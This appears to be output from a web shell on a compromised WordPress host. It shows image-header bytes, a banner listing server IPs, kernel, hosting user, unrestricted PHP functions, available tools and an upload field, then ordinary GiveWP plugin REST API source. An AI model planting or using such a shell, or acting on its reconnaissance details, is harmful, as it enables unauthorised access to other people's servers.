????JFIF??x?x????'
| Server IP : 104.21.30.238 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././home/./tempvsty/pontiacques.org/wp-content/plugins/give/includes/api/ |
Upload File : |
<?php
/**
* Give API V2
*
* @package Give
* @subpackage Classes/API
* @copyright Copyright (c) 2018, GiveWP
* @license https://opensource.org/licenses/gpl-license GNU Public License
* @since 2.1
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Give_API_V2 Class
*
* The base version API class
*
* @since 2.1
*/
class Give_API_V2 {
/**
* API base prefix
*
* @since 2.1
* @access private
*
* @var string
*/
private $rest_base = 'give-api/v2';
/**
* Instance.
*
* @since 2.1
* @access private
*
* @var Give_API_V2
*/
private static $instance;
/**
* Singleton pattern.
*
* @since 2.1
* @access private
*/
private function __construct() {
}
/**
* Get instance.
*
* @since 2.1
* @access public
* @return Give_API_V2
*/
public static function get_instance() {
if ( null === static::$instance ) {
self::$instance = new static();
self::$instance->init();
}
return self::$instance;
}
/**
* Initialize API
*
* @since 2.1
* @access private
*/
private function init() {
// Setup hooks.
add_action( 'rest_api_init', [ $this, 'register_routes' ] );
add_action( 'wp_enqueue_scripts', [ $this, 'localize_script' ], 999 );
add_action( 'admin_enqueue_scripts', [ $this, 'localize_script' ], 999 );
}
/**
* Register API routes
* Note: only for internal purpose.
*
* @todo : prevent cross domain api request
*
* @since 2.1
* @access private
*/
public function register_routes() {
register_rest_route(
$this->rest_base,
'/form/(?P<id>[\d]+)',
[
'methods' => 'GET',
'callback' => [ $this, 'get_forms_data' ],
'permission_callback' => '__return_true',
]
);
register_rest_route(
$this->rest_base,
'/form-grid',
[
'methods' => 'GET',
'callback' => [ $this, 'get_donation_grid' ],
'permission_callback' => '__return_true',
]
);
}
/**
* Add api localize data
*
* @since 2.1
* @access public
*/
public function localize_script() {
$data = [
'root' => esc_url_raw( self::get_rest_api() ),
'rest_base' => $this->rest_base,
];
if ( is_admin() ) {
wp_localize_script( 'give-admin-scripts', 'giveApiSettings', $data );
} else {
wp_localize_script( 'give', 'giveApiSettings', $data );
}
}
/**
* Rest fetch form data callback
*
* @param WP_REST_Request $request
*
* @access public
* @return array|mixed|object
*/
public function get_forms_data( $request ) {
$parameters = $request->get_params();
// Bailout
if ( ! isset( $parameters['id'] ) || empty( $parameters['id'] ) ) {
return [ 'error' => 'no_parameter_given' ];
}
return give_form_shortcode( $parameters );
}
/**
* Rest fetch form data callback
*
* @param WP_REST_Request $request
*
* @access public
* @return array|mixed|object
*/
public function get_donation_grid( $request ) {
$parameters = $request->get_params();
return give_form_grid_shortcode( $parameters );
}
/**
* Get api reset url
*
* @since 2.1
* @access public
*
* @param int $blog_id Optional. Blog ID. Default of null returns URL for current blog.
* @param string $path Optional. REST route. Default '/'.
* @param string $scheme Optional. Sanitization scheme. Default 'rest'.
*
* @return string Full URL to the endpoint.
*/
public static function get_rest_api( $blog_id = null, $path = '/', $scheme = 'rest' ) {
return trailingslashit( get_rest_url( $blog_id, $path, $scheme ) . self::$instance->rest_base );
}
}
Give_API_V2::get_instance();